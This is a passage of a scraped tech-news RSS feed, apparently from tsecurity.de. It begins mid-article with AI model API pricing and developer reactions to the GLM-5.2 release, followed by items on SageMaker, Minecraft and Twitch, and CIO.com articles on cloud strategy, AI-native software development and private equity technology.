Cloud</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi MiMo</a></p></td></tr><tr><td><p>Grok 4.3 (low context)</p></td><td><p>$1.25</p></td><td><p>$2.50</p></td><td><p>$3.75</p></td><td><p><a href="https://docs.x.ai/developers/models/grok-4.3">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (≤256K)</p></td><td><p>$1.00</p></td><td><p>$3.00</p></td><td><p>$4.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi MiMo</a></p></td></tr><tr><td><p>Kimi-K2.6</p></td><td><p>$0.95</p></td><td><p>$4.00</p></td><td><p>$4.95</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k26">Moonshot/Kimi</a></p></td></tr><tr><td><p><b>GLM-5.2</b></p></td><td><p><b>$1.40</b></p></td><td><p><b>$4.40</b></p></td><td><p><b>$5.80</b></p></td><td><p><b></b><a href="https://docs.z.ai/guides/overview/pricing"><b>Z.ai</b></a></p></td></tr><tr><td><p>Grok 4.3 (high context)</p></td><td><p>$2.50</p></td><td><p>$5.00</p></td><td><p>$7.50</p></td><td><p><a href="https://docs.x.ai/developers/models/grok-4.3">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (&gt;256K)</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi MiMo</a></p></td></tr><tr><td><p>Qwen3.7-Max</p></td><td><p>$2.50</p></td><td><p>$7.50</p></td><td><p>$10.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?spm=a2ty_o05.31384571.0.0.52649f6b7G0D55&amp;tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-max&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (≤200K)</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (&gt;200K)</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 4.8</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Claude Fable 5 / Claude Mythos 5</p></td><td><p>$10.00</p></td><td><p>$50.00</p></td><td><p>$60.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/models/overview">Anthropic</a></p></td></tr></tbody></table><p>To further optimize costs for long-context workloads, Z.ai offers a cached input rate of just $0.26 per million tokens, alongside a limited-time offer for free cached input storage.</p><p>The stark contrast between open-weights innovators and proprietary Western labs has not gone unnoticed by the developer community. </p><p>On X, prolific AI observer <a href="https://venturebeat.com/technology/Lisan%20al%20Gaib%20(@scaling01)">Lisan al Gaib (@scaling01) </a>argued that "frontier labs are absolutely scamming you on API pricing". </p><p>The post noted that while massive open models like the 744-billion-parameter GLM-5.2 charge $4.40 per million output tokens and DeepSeek-V4-Pro (1.6 trillion parameters) charges just $0.87, proprietary models demand heavy premiums: Anthropic's Sonnet 4.6 and Opus 4.8 charge $15.00 and $25.00 respectively, while OpenAI's GPT-5.5 costs $30.00 for output. </p><p>Highlighting that open-model developers are operating profitably without relying on the newest "fancy Blackwell chips," the commentator suggested that leading proprietary labs are "probably at 90%+ margins at this point".</p><h2><b>The beauty of the unmodified MIT License for enterprise use</b></h2><p>The most disruptive aspect of the GLM-5.2 release is its licensing. Z.ai released the model's weights under an MIT open-source license, establishing it as a "Pure Open" system. </p><p>The company’s technical documentation explicitly notes that this license guarantees "no regional limits" and allows "technical access without borders".</p><p>For enterprise technology leaders, an MIT license means the software can be used, modified, and commercialized without paying royalties or adhering to restrictive "acceptable use" governance policies common to dual-use licenses. </p><p>It allows engineering teams to host frontier-level AI on their own sovereign infrastructure, entirely eliminating vendor lock-in.</p><h2><b>Warm reception among AI developers and toolmakers</b></h2><p>The developer reaction to the release has been immediate and overwhelmingly positive. </p><p>The team behind <a href="https://x.com/kilocode/status/2066953743166321077?s=20">Kilo Code</a> confirmed day-one integration, posting on X: "GLM-5.2 runs in Kilo Code on day one. The 1M context window and Max effort mode are both live. Point your config at it and go!".</p><p>Open-source coding environment <a href="https://x.com/cline/status/2066951439793242193?s=20">Cline IDE echoed this sentiment on X</a>, noting the economic advantage: "GLM-5.2 is the first open-weights model to cross 80% on Terminal-Bench, and beats every other open model available. It also beats Gemini, making it a frontier-level model for a fraction of the cost. Open weights is back. This model is a game changer. Available in Cline now!".</p><p>Similarly, rival open source coding desktop agent <a href="https://x.com/Eigent_AI/status/2066942441974886714">Eigent AI </a>also tested the model's new capabilities on complex agentic workflows, noting on X: "threw a real long-horizon task: research 30 companies across 6 sectors of the AI infrastructure stack, structure it into JSON, then build an interactive HTML report... where 5.2 pulls ahead: -&gt; plans...".</p>]]></content:encoded>
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<title><![CDATA[Introducing container caching in Amazon SageMaker AI for faster model scaling]]></title>
<description><![CDATA[Today, we’re excited to announce container image caching for Amazon SageMaker AI inference, the next major advancement in our faster scaling optimization journey. This speeds up end-to-end latency by up to 2x for generative AI models during scale-out events.]]></description>
<link>https://tsecurity.de/de/3603090/ai-nachrichten/introducing-container-caching-in-amazon-sagemaker-ai-for-faster-model-scaling/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3603090/ai-nachrichten/introducing-container-caching-in-amazon-sagemaker-ai-for-faster-model-scaling/</guid>
<pubDate>Tue, 16 Jun 2026 22:18:55 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Today, we’re excited to announce container image caching for Amazon SageMaker AI inference, the next major advancement in our faster scaling optimization journey. This speeds up end-to-end latency by up to 2x for generative AI models during scale-out events.]]></content:encoded>
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<title><![CDATA[Minecraft Java Edition 26.2 'Chaos Cubed' has landed]]></title>
<description><![CDATA[Another nice free upgrade for Minecraft Java Edition has arrived with version 26.2 'Chaos Cubed' bringing new features and new creatures.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3602789/linux-tipps/minecraft-java-edition-262-chaos-cubed-has-landed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3602789/linux-tipps/minecraft-java-edition-262-chaos-cubed-has-landed/</guid>
<pubDate>Tue, 16 Jun 2026 19:51:57 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Another nice free upgrade for Minecraft Java Edition has arrived with version 26.2 'Chaos Cubed' bringing new features and new creatures.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/2086797070id29226gol.jpg" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/06/minecraft-java-edition-26-2-chaos-cubed-has-landed/">GamingOnLinux</a>.</p>]]></content:encoded>
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<title><![CDATA[‘Streaming gave me a space to be myself’: Twitch creators on what it’s like to grow up on the platform]]></title>
<description><![CDATA[The world’s most successful gamer content creators, many of whom have spent their entire adult life on the platform, have met up at TwitchCon in RotterdamAimee Davies, better known as Aimsey to their fans, is 24 but looks much younger. Sitting in a bland meeting room above the annual TwitchCon ev...]]></description>
<link>https://tsecurity.de/de/3602431/it-nachrichten/streaming-gave-me-a-space-to-be-myself-twitch-creators-on-what-its-like-to-grow-up-on-the-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3602431/it-nachrichten/streaming-gave-me-a-space-to-be-myself-twitch-creators-on-what-its-like-to-grow-up-on-the-platform/</guid>
<pubDate>Tue, 16 Jun 2026 17:48:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The world’s most successful gamer content creators, many of whom have spent their entire adult life on the platform, have met up at TwitchCon in Rotterdam</p><p>Aimee Davies, better known as Aimsey to their fans, is 24 but looks much younger. Sitting in a bland meeting room above the annual TwitchCon event in Rotterdam, they’re a barely contained whirl of energy in a beanie hat and T-shirt, all smiles and lightning-fast chatter. Aimsey (who uses they/them pronouns) is also a Twitch veteran, having started streaming eight years ago at the tender age of 16. A million subscribers tune in every week to see them chaotically play Minecraft and share snippets of their life. They have grown up, from teen to young adult, carrying a vast audience with them into maturity. What is it like to experience that?</p><p>“When you’re 16 you want to tell everyone everything about you,” they say as music blares from the event below. “When I came out as a lesbian, I told the world. Every part of my identity, my mental health struggles … I thought if I could help one person feel like they weren’t alone, I wanted to do that.”</p> <a href="https://www.theguardian.com/games/2026/jun/16/twitch-gamer-creators-twitchcon-rotterdam">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[Cloud strategies have become more complicated than ever]]></title>
<description><![CDATA[With years of cloud experience, IT leaders thought they finally had firm control of their cloud strategies. And then came AI.



Of course, cloud issues today extend beyond artificial intelligence. Where to place cloud workloads for maximum efficiency is one. Questions about governance, sovereign...]]></description>
<link>https://tsecurity.de/de/3602225/it-security-nachrichten/cloud-strategies-have-become-more-complicated-than-ever/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3602225/it-security-nachrichten/cloud-strategies-have-become-more-complicated-than-ever/</guid>
<pubDate>Tue, 16 Jun 2026 16:57:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>With years of cloud experience, IT leaders thought they finally had firm control of their cloud strategies. And then came AI.</p>



<p>Of course, cloud issues today extend beyond artificial intelligence. Where to place cloud workloads for maximum efficiency is one. Questions about governance, sovereignty, the growing sophistication of cyberthreats, and escalating cost concerns are also conspiring to make the cloud ever more complicated.</p>



<p>“It’s just grown into a complex mess,” observes cloud expert <a href="https://www.infoworld.com/profile/david-linthicum/">David Linthicum</a>, emphasizing that cloud strategy today needs to address private cloud, multicloud, hybrid cloud, and sovereign clouds — much more than most CIOs have dealt with to date.</p>



<p>Initially, cloud discussions centered around agility, scalability, and cost optimization, says <a href="https://www.joshuabellendir.com/">Joshua Bellendir</a>, CIO of retailer WHSmith North America. “Today, we are balancing a much broader and more complicated set of considerations, including AI readiness, cybersecurity, data governance, sovereign data requirements, edge computing, integration architecture, and operational resilience.”</p>



<p>One of the biggest shifts is that “cloud is no longer simply an infrastructure conversation,” Bellendir says. “It has become deeply tied to enterprise architecture, business transformation strategy, and data strategy.”</p>



<p><a href="https://www.linkedin.com/in/amitbasu/">Amit Basu</a>, vice president, CIO, and CISO of International Seaways, also notes cloud’s growing complexity. While reduced capital expenditure and greater flexibility still apply in some areas, dealing with the environment has become significantly more challenging, he says.</p>



<p>Sweetwater CIO <a href="https://www.linkedin.com/in/jasonpauljohnson/">Jason Johnson</a> describes the current state as “genuinely one of the more complex times to be managing cloud.” Providers keep expanding their catalogs with more SKUs, more services, and more options, he says. “While that’s great for capability, it creates real overhead in just keeping up. You need people who understand not just what’s available, but what’s actually the right fit for your use case.”</p>



<p>Many organizations are now entering a second phase of cloud maturity. “The earlier phase was focused heavily on migration and modernization,” Johnson says. “The current phase is more focused on optimization, governance, AI enablement, and operational sustainability. That shift is changing the conversation significantly for the CIOs I’m speaking with.”</p>



<p>But few CIOs have the luxury of simply pondering what to do. All must meet the challenges of complexifying cloud strategies head on.</p>



<h2 class="wp-block-heading">How AI changes the cloud calculus</h2>



<p>The desire to deploy AI quickly is creating tremendous pressure on IT leaders, with cloud a central concern, Linthicum says.</p>



<p>“The board of directors are screaming for it worse than the cloud push 15 years ago,” he says. “CIOs are feeling the pinch and having to make that move as quickly as they can” to gain more compute for AI initiatives in an already tricky environment, he adds.</p>



<p>At the same time, CIOs must solve the data complexity problem before integrating AI systems, Linthicum notes. “They’re running around in circles right now trying to figure out the best way to do that.”</p>



<p>Hyperscalers used to be “the easy button,” Linthicum says, “but they’ll be three, four times the cost.”</p>



<p>AI systems cost 10 times as much as traditional equivalent applications, he estimates. “So [CIOs are] putting a lot of money on the line.”</p>



<p>International Seaways’ Basu says AI has changed the architecture conversation. “GPU availability, vector databases, low-latency inference, and large-scale data pipelines introduce requirements that do not fit neatly into traditional cloud design models,” he notes. “Organizations are no longer simply lifting and shifting workloads. They are designing for very different compute and data requirements.”</p>



<p><a href="https://www.linkedin.com/in/zacharylewis1/">Zachary Lewis</a>, CIO and CISO of University of Health Sciences and Pharmacy, says the needs of internal stakeholders only compound that complexity. <a href="https://www.linkedin.com/in/zacharylewis1/">Business unit</a>s want disparate AI capabilities, security teams want governance and some control over AI apps, the general counsel wants to know what kind of data is being put in the AI model, and the finance team wants cost predictability.</p>



<p>“CIOs have to reconcile all of this and try to deliver on everyone’s needs, and you have to do that successfully,” Lewis says. “Everyone has a different end goal and demand and we’re trying to square all of that for them.”</p>



<p>Ever since the online retailer of musical instruments and pro audio equipment formalized its cloud strategy around 2016, Sweetwater’s Johnson has sought to place workloads wherever it made the most sense for external and internal customers.</p>



<p>“Anything customer-facing needs to be geo-specific; as close to the end user as possible,” he says. “Same logic applies — internal workloads belong close to whoever is using them.”</p>



<p>The cloud offers infinite opportunities, and with that comes infinite levels of complexity, he says. “It’s just the reality of the model.”</p>



<p>“AI wouldn’t be possible without the cloud. The compute scale AI needed had already been built — the cloud had it and could deliver it,” he adds. “In a lot of ways, AI might be the cloud’s greatest gift to the industry. They enabled each other.”</p>



<h2 class="wp-block-heading">Cloud cost control complexifies</h2>



<p>Johnson’s biggest headache is managing costs consistently. “It used to be relatively straightforward: compute, storage, egress. Now it’s a puzzle,” he says. “Reserved instances, savings plans, spot pricing, per-request costs, data transfer fees between regions — it stacks up fast — and it’s genuinely hard to predict what your bill is going to look like until it arrives.”</p>



<p>Consequently, <a href="https://www.cio.com/article/416337/what-is-finops-your-guide-to-cloud-cost-management.html">FinOps</a> has become a discipline in its own right, he says.</p>



<p>Basu also believes FinOps has become essential. “AI inference costs, egress charges, and storage growth can create month-over-month cost swings that surprise even experienced teams,” he says. “Cost management is now a continuous operational discipline rather than an occasional review exercise.”</p>



<p>Vendor lock-in is also always in the back of Johnson’s mind. “The more deeply you integrate with a provider’s native services, the harder it is to move.” While that’s not always bad, he adds, it’s a tradeoff. “I think about it like technical debt. You’re borrowing speed now and paying interest later if you ever want to change direction.”</p>



<p>But Johnson recognizes that cloud providers are businesses that “squeeze for revenue and margin, and they change the rules on how you buy committed discounts and manage spend.”</p>



<p>Financial efficiency doesn’t happen by accident, he points out. It requires teams, processes, and real investment in FinOps. “<a href="https://www.cio.com/article/189652/top-13-cloud-cost-management-tools.html">The tools exist</a>. Using them well is the harder part,” he says.</p>



<p>Most organizations have their financial expertise sitting in accounting and their technical expertise sitting in IT, Johnson explains. Getting those two to work together on cloud cost is a relatively new challenge.</p>



<p>“Ten years ago, the model was simple: You asked for a CapEx budget, accounting approved it, you placed hardware orders, and IT installed and optimized. Done. Now it’s a daily exercise,” Johnson says. “New services get turned on, contracts change, pricing structures shift. Finance understands the cash but not the tech. IT understands the tech but not the financial levers.”</p>



<p>Every major cloud provider has the tools, Johnson explains. “AWS Cost Explorer, Azure Cost Management, GCP’s billing dashboards. The data is all there.” But most organizations aren’t acting on that data, he says, “and then the bill shows up and people are surprised. The tools told you it was coming. You just weren’t listening.”</p>



<h2 class="wp-block-heading">Data regulations add sovereign subtleties</h2>



<p>The University of Health Sciences and Pharmacy has students from all over the world. Cloud has become significantly more difficult to manage due to the <a href="https://www.cio.com/article/4168666/cios-rise-to-the-global-challenge.html">rise in regulatory laws around the globe</a> surrounding data, Lewis says.</p>



<p>“We have to understand if the metadata is in a specific cloud region, where it is stored, and kept,” he says. “If that data ends up in a model we trained internally, can we guarantee it stays in the EU? Then, if someone wants their data purged, can we find all those locations with some level of competence?”</p>



<p>Basu says data sovereignty has become another major architectural consideration. “It affects where workloads can run, how data moves between regions, and what can be done with certain datasets,” he says. “You cannot assume a hyperscaler’s default configuration satisfies your regulatory obligations.”</p>



<h2 class="wp-block-heading">Private vs. public vs. on-prem</h2>



<p>AI has <a href="https://www.cio.com/article/2104613/private-cloud-makes-its-comeback-thanks-to-ai.html">sparked a rethink</a> on where to place cloud workloads, but Sweetwater’s Johnson believes the question of whether to pull more workloads into private clouds versus public clouds shifts more often than people expect. “I think the vast majority of our workloads are in the right place right now, but we got there by being willing to question the default,” he says.</p>



<p>Sweetwater does not operate under a rule that says new workloads always go to the cloud, he notes. A workload might start in the cloud and end up on-prem if the math changes. “The discipline is in reviewing that in real-time, finding the inflection points, and right-sizing as you go. Right tool, right time. That’s the only principle that holds up over time.”</p>



<p>International Seaways’ Basu is not planning a move toward private cloud, as the economics and operational overhead do not justify it for his organization.</p>



<p>“The right question is what is the correct data residency, latency, and control model for each workload,” he says. “That is a data classification discipline, not a cloud deployment strategy.”</p>



<p>Lewis, who has about 95% of the University of Health Sciences and Pharmacy’s infrastructure running in the cloud, doesn’t see a good alternative given how the stakes have changed for AI and hardware.</p>



<p>“If you want to train large scale data lakes and make informed business decisions with machine learning and the intelligence behind it, it’s almost not practical anymore” to be on-prem, Lewis says.</p>



<p>CIOs need to ask themselves whether they have the expertise to handle that infrastructure, he adds. Ultimately, “you have to make the best of what you’ve got,” he says.</p>



<h2 class="wp-block-heading">Stay focused on fundamentals</h2>



<p>Organizations may want to chase the shiny object, which is agentic AI right now, but IT leaders should focus on their infrastructure, management, and platform planning, Linthicum stresses.</p>



<p>“It’s not as fun,” he says, “but to do any AI within your environment, you have to solve those issues.”</p>



<p>The cloud enables a lot of architectural patterns, and that freedom will work against you if you don’t have guardrails, cautions Sweetwater’s Johnson. “Write the guidance document before you need it — not after you’ve already got five teams doing things five different ways.”</p>



<p>IT leaders also need to get ahead of tagging and cost visibility early, saying that it needs to be a first step, not a cleanup project. “If you can’t see your spend clearly from day one, you’re already behind,” he says.</p>



<p>A key step is to build an auditing program with solid controls around who can create production changes, Johnson says. “The blast radius of a bad change in the cloud is bigger and faster than most people expect, until they experience it.”</p>



<h2 class="wp-block-heading">The skills question</h2>



<p>The skills needed to operate a modern cloud environment are evolving faster than most internal teams can realistically keep up with, Basu says. As a result, International Seaways relies on specialized MSPs rather than trying to maintain deep in-house expertise across every domain.</p>



<p>“That gives us access to current capabilities without constantly retraining or rebuilding teams as the technology changes,” he explains. “The decisions that protected us in 2020 were made years before anyone realized how important they would become. Infrastructure strategy is always about preparing for a future that is not yet fully visible.”</p>



<p>The key is to make those decisions deliberately, with clear reasoning, rather than reacting under pressure later, he adds.</p>



<h2 class="wp-block-heading">Build adaptable organizations</h2>



<p>Edge computing is adding another layer of complexity, Johnson says. Leaders who navigate this effectively won’t be the ones who find the perfect architecture, he notes. “They’re the ones building organizations that can adapt quickly when the right answer changes tomorrow,” he says.</p>



<p>The real competitive advantage is not the cloud you picked, but how fast your team can learn and move, Johnson says.</p>



<p>Asked about other advice to make cloud less complicated, the CIOs offered the following:</p>



<ul class="wp-block-list">
<li><strong>Treat your cloud architecture like a product, not a project.</strong> It needs ongoing ownership, not just implementation, Johnson stresses.</li>



<li><strong>Make sure you’re reviewing your decisions regularly. </strong>“The right call at year one often isn’t the right call at year three. Build in the checkpoints to revisit,” Johnson says.</li>



<li><strong>Tie every workload to a cost center.</strong> Basu has done this, and IT continuously reviews utilization and rightsizing rather than waiting for periodic audits.</li>



<li><strong>Data classification determines regional placement.</strong> Before any workload reaches production, ensure “Legal and Compliance are in that conversation from the start, not at the end,” Basu says.</li>



<li><strong>Create a cloud-ready solution. </strong>This can sometimes be less expensive and lower risk than lifting and shifting a heavily customized legacy environment, Basu says.</li>



<li><strong>Consolidation is a strategic choice, not a retreat. </strong>Fewer platforms, governed well, consistently outperform a fragmented multicloud estate, he says.</li>



<li><strong>Don’t underestimate the governance gap AI is opening. </strong>Build your AI governance layer now, before the debt accumulates, Basu says.</li>



<li><strong>Cloud strategy is not an IT architecture decision. </strong>The pandemic proved that it is a business resilience decision, Basu says. “The organizations that make the hard calls before the crisis arrives are the ones that come out intact.”</li>



<li><strong>Ensure cloud decisions are tied to measurable business outcomes. </strong>WHSmith’s Bellendir says IT is also investing heavily in integration architecture, cybersecurity controls, observability, and data governance to better support a hybrid ecosystem.</li>



<li><strong>Place greater emphasis on cloud cost governance and operational discipline. </strong>This will improve visibility into cloud usage and ensure that scaling AI, analytics, and digital initiatives remains financially sustainable over time, Bellendir says.</li>
</ul>



<p>While no one can foresee whether cloud will grow less complicated down the road, organizations will continue to use it. “Cloud is no longer the future of IT — it’s the present,” says Sweetwater’s Johnson. “The conversation has shifted from ‘should we?’ to ‘how do we get better at it?’ That’s where I spend most of my time.”</p>



<p><em>This story <a href="https://www.cio.com/article/4178280/cloud-strategies-have-become-more-complicated-than-ever.html">originally appeared on CIO</a>.</em></p>
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<title><![CDATA[A personal journey to the next era of 10X]]></title>
<description><![CDATA[Over the past two decades, I’ve had the opportunity not only to witness the evolution of enterprise software development, but also to help shape parts of it firsthand. Throughout that journey, one objective has remained remarkably consistent across every wave of innovation: reducing the distance ...]]></description>
<link>https://tsecurity.de/de/3601368/it-security-nachrichten/a-personal-journey-to-the-next-era-of-10x/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3601368/it-security-nachrichten/a-personal-journey-to-the-next-era-of-10x/</guid>
<pubDate>Tue, 16 Jun 2026 12:09:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Over the past two decades, I’ve had the opportunity not only to witness the evolution of enterprise software development, but also to help shape parts of it firsthand. Throughout that journey, one objective has remained remarkably consistent across every wave of innovation: reducing the distance between an idea and a working solution.</p>



<p>Today, we are entering another major shift. AI coding agents, vibe coding and AI-orchestrated development workflows are changing not only how software gets written, but how large portions of the software development lifecycle are executed. AI is no longer limited to generating snippets of code or assisting with isolated developer tasks. Increasingly, it is helping define requirements, generate workflows, build integrations, refine user experiences, support testing and coordinate deployment activities.</p>



<p>For many organizations, this shift can feel sudden or even disruptive. From my perspective, however, it is the natural continuation of a much longer trend toward accelerating innovation at scale. The destination has remained largely the same. What continues to evolve are the tools, interfaces and operating models that help organizations get there faster.</p>



<p>Over time, enterprise software evolved from traditional coding to visual development platforms, then from visual development to low-code and no-code environments. Each stage compressed the software lifecycle while expanding the number of people capable of participating in innovation. Yet despite those advances, software creation remained relatively centralized and technical. Users still had to understand workflows, data models, governance frameworks, integrations and platform-specific logic. We reduced complexity, but we had not fundamentally changed who could participate in building operational systems.</p>



<p>That distinction matters because the true bottleneck in enterprise innovation has never been coding capacity alone. More often, it has been an organization’s ability to translate ideas into operational execution quickly enough to keep pace with change.</p>



<h2 class="wp-block-heading">Expanding the innovation surface area</h2>



<p>One of the earliest inflection points I experienced was the rise of workflow and business process management platforms. These technologies introduced visual ways to design and automate processes that previously required extensive custom development. For the first time, organizations could model workflows graphically instead of building everything manually through code.</p>



<p>Low-code platforms accelerated that momentum by abstracting much of the complexity involved in application creation. Teams could reuse components, streamline integrations and deliver systems in months instead of years. Much of my career has centered around advancing these kinds of platforms, but the ambition was always broader than improving developer productivity. The real goal was helping organizations respond to business needs faster and with greater flexibility.</p>



<p>The emergence of true no-code platforms expanded innovation even further by bringing business users directly into the development process. Citizen development evolved from an aspirational concept into something operationally viable inside the enterprise. More teams could experiment, more workflows could be digitized and more ideas could move from whiteboard discussions into production far faster than before.</p>



<p>At the same time, organizations realized that democratization alone was not enough. Enterprises still needed governance, operational standards, methodologies and trust in how applications were being built and maintained at scale. That challenge ultimately led me to co-author the <em>No-code Playbook</em> and later the <em>No-code Toolkit</em>, both focused on helping organizations operationalize no-code successfully across the enterprise.</p>



<p>Sustainable acceleration has always depended on balancing empowerment with structure.</p>



<h2 class="wp-block-heading">What AI changes this time</h2>



<p>What feels different about the current AI wave is that it does not simply accelerate one layer of software creation; it changes the interaction model altogether.</p>



<p>Previous generations of platforms still required users to learn the language of the system. Even in low-code and no-code environments, people had to think in terms of workflows, logic models and application architecture. AI-native development begins to reverse that dynamic.</p>



<p>Instead of forcing people to adapt themselves to the tooling, platforms are increasingly learning the language of the user. Intent becomes the interface. A business user can describe a process conversationally. A developer can outline an architectural goal. A product leader can upload requirements, diagrams or workflows. AI can then help translate those inputs into applications, automations, integrations and operational systems collaboratively and iteratively.</p>



<p>For the first time, software creation is becoming conversational, adaptive and context-driven in ways that dramatically reduce the barrier between identifying a problem and operationalizing a solution.</p>



<p>Importantly, this is not just about generating code faster. AI is beginning to accelerate the broader software development lifecycle itself — from requirements gathering and workflow generation to testing, documentation, optimization and deployment preparation. We are moving beyond AI-assisted coding toward AI-orchestrated software delivery.</p>



<p>As AI takes on more implementation mechanics, the role of humans also evolves. People shift further toward defining intent, guiding outcomes, orchestrating systems and applying business context and governance. In many ways, AI amplifies human expertise rather than replacing it.</p>



<h2 class="wp-block-heading">From applications to innovation systems</h2>



<p>AI is also changing expectations around enterprise platforms themselves.</p>



<p>For the past two decades, SaaS applications largely evolved around predefined modules, user-based licensing, workflow limitations and incremental customization. Those models made sense in an era where software creation remained constrained and highly specialized.</p>



<p>But AI-native development changes both the economics and expectations of innovation. Organizations increasingly want platforms that support continuous experimentation, rapid automation, AI agents and operational adaptability without introducing artificial limits around workflows, users or application boundaries. Increasingly, the enterprise platform is evolving from a static application suite into something closer to an innovation operating system.</p>



<p>This reflects a broader shift in how organizations think about software itself. Traditional enterprise systems were largely designed from the inside out, reflecting how organizations structured themselves and broke down processes functionally. But customers, employees and partners increasingly expect experiences that adapt to how they want to engage and operate. As expectations evolve faster than internal systems can change, organizations need platforms flexible enough to support continuous adaptation rather than rigid process enforcement.</p>



<p>Historically, scale was closely tied to headcount and software access. More users typically meant more work could be completed. But as AI agents and automation become embedded throughout operational workflows, scale increasingly depends on how effectively organizations coordinate people, systems and intelligent automation together.</p>



<p>The future enterprise will not simply operate faster. It will operate differently.</p>



<p>Organizations that succeed in this environment will not necessarily be the ones with the largest development teams or the most rigid technology standards. They will be the ones capable of turning ideas into operational reality continuously while adapting systems and workflows as quickly as business conditions evolve.</p>



<h2 class="wp-block-heading">The next era of 10X innovation</h2>



<p>Looking back, the broader pattern becomes clear. Every major evolution in enterprise software development has focused on reducing friction between ideas and execution. Visual workflows abstracted complexity. Low-code accelerated delivery. No-code expanded participation. AI-native development now accelerates orchestration itself.</p>



<p>What feels different today is the scale of the transformation. Traditional boundaries are beginning to blur — between developer and business user, between tool and collaborator, and increasingly between design and execution. AI agents are evolving from passive assistants into collaborative execution partners embedded throughout enterprise workflows and development systems.</p>



<p>The future is not simply about AI writing code, but about AI helping organizations orchestrate software creation and operational innovation end-to-end. And that shift has implications far beyond engineering productivity alone. It changes how organizations experiment, how they operationalize ideas and how quickly they can evolve in response to changing markets and customer expectations.</p>



<p>For years, enterprise software innovation focused primarily on making development faster. What AI-native systems introduce is something broader: the ability to expand who can innovate, how rapidly organizations can operationalize ideas and how continuously businesses can evolve.</p>



<p>In many ways, that is the larger transformation now underway. The future of enterprise software will not be defined solely by better applications, but by how effectively organizations turn ideas into operational reality at scale</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
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<title><![CDATA[PE value creation now depends on technology capability]]></title>
<description><![CDATA[Private equity has fundamentally changed the ownership model for many organizations. Increasingly, businesses are bypassing more traditional public ownership routes as founders look to release equity, accelerate growth, or realise bigger ambitions. Private equity and venture capital firms want to...]]></description>
<link>https://tsecurity.de/de/3601185/it-security-nachrichten/pe-value-creation-now-depends-on-technology-capability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3601185/it-security-nachrichten/pe-value-creation-now-depends-on-technology-capability/</guid>
<pubDate>Tue, 16 Jun 2026 11:08:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Private equity has fundamentally changed the ownership model for many organizations. Increasingly, businesses are bypassing more traditional public ownership routes as founders look to release equity, accelerate growth, or realise bigger ambitions. Private equity and venture capital firms want to accelerate that growth — but they also expect significant returns within relatively short investment windows.</p>



<p>At its core, private equity is simple. Invest. Grow the asset. Exit the asset. Deliver a return that outperforms other forms of investment.</p>



<p>For years, value creation was largely assessed through financial performance, revenue multiples, profitability, market position and leadership capability. Those things still matter enormously. But over the last five years something has changed materially. Technology capability is now inseparable from enterprise value creation in PE-backed businesses.</p>



<p>This is no longer just about technology companies or software-as-a-service (SaaS) platforms. Technology, digital capability and data now underpin almost every organization, regardless of sector. AI has only accelerated that reality.</p>



<p>Brad Scott, Investor at Maven Capital Partners, describes the shift clearly: “Technology has moved from being something we diligence as a supporting function to something that often sits right at the centre of the investment case.”</p>



<p>That matters because private equity is ultimately about value creation under time pressure. Most assets are held for three to five years. Every decision matters. Every delay matters. Every additional investment in people, process, technology and data matters.</p>



